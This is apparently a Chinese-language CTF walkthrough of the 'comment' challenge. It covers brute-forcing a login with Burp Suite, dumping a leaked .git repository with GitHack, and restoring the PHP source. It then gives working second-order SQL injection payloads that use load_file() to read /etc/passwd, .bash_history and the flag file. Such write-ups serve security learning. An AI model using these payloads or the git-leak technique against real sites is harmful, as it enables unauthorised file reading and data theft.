CTF之comment

网站的登录框里有提示

账号:zhangwei

密码:zhangwei***(后三位要自己猜)

用burpsuit抓包爆破发现密码为zhangwei666

进去后就一个留言榜(目前没发现怎么用)

扫一下网站发现git泄露

1.下载

进入root用户,下载克隆git hack库

复制代码
git clone https://github.com/BugScanTeam/GitHack

下载完成后,进入GitHack,发现5个文件,说明ok了

2.使用

*****使用GitHack时,一定要在Git Hack目录下*****

复制代码
 python GitHack.py 链接/.git/

首先看kali中的python版本,GitHack必须使用python2

需要将python该为python2

复制代码
 python2 GitHack.py 链接/.git/

出现GitHack,就代表成功了,Githack目录下就会新增一个扫描的文件

然后就是用GitHack下载源码

复制代码
python2 GitHack.py  http://61.147.171.105:62125/.git/ 

下载的文件会在dist目录下

查看源码,发现好像代码不全

php 复制代码
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    break;
case 'comment':
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

使用命令补全

php 复制代码
git log --reflog
git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c

代码审计

php 复制代码
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

发现存在sql二次注入,在代码comment模块中 $category没有进行过滤就直接放入了sql语句中

category和content我们可以控制

其中注意这个sql语句是换行的,我们要用/**/ 进行拼接

php 复制代码
$sql = "insert into comment
            set category = '111',content=user(),/*',
                content = '*/#',
                bo_id = '$bo_id'";

在category 构造payload: 111',content=user(),/**

在详细里我们提交 */# 来闭合,这里得到了用户

同理构造查看密码

php 复制代码
111',content=(select(load_file('/etc/passwd'))),/*


*/#

构造读取他的history文件,查看历史记录操作

php 复制代码
111',content=(select (load_file('/home/www/.bash_history'))),/*


*/#

发现原本/tmp/html/目录下有个.DS_Store文件

构造查看这个文件

php 复制代码
111',content=(select (load_file('/tmp/html/.DS_Store'))),/*

*/#

发现长度不够

构造HEX编码

php 复制代码
111',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*


*/#

发现是16进制编码

十六进制到ASCII文本

解码发现flag_8946e1ff1ee3e40f.ph文件

构造查看

php 复制代码
111',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*


*/#

同样解码,发现flag

$flag="flag{0dd14aae81d94904b3492117e2a3d4df}";

相关推荐
qq_4639448631 分钟前
如何把Excel文件导入Navicat?
数据库·excel
不太厉害的程序员33 分钟前
Excel 将数据导入到SQLServer数据库
数据库·sqlserver·excel
Hello.Reader2 小时前
Elasticsearch安全审计日志设置与最佳实践
安全·elasticsearch·jenkins
betazhou2 小时前
MySQL ROUTER安装部署
android·数据库·mysql·adb·mgr·mysql router
中东大鹅3 小时前
Mybatis Plus 多数据源
java·数据库·spring boot·后端·mybatis
一枚小小程序员哈3 小时前
springboot基于Java与MySQL库的健身俱乐部管理系统设计与实现
数据库·spring boot·mysql·spring·java-ee·intellij-idea
Lyndon11074 小时前
K8S 九 安全认证 TLS
安全·容器·kubernetes
Antonio9154 小时前
【Redis】 Redis 基础命令和原理
数据库·redis·缓存
非优秀程序员4 小时前
未来的编程将会是什么样子?从面向对象转为面向业务数据!!
数据库·架构
老华带你飞5 小时前
口腔助手|口腔挂号预约小程序|基于微信小程序的口腔门诊预约系统的设计与实现(源码+数据库+文档)
java·数据库·微信小程序·小程序·论文·毕设·口腔小程序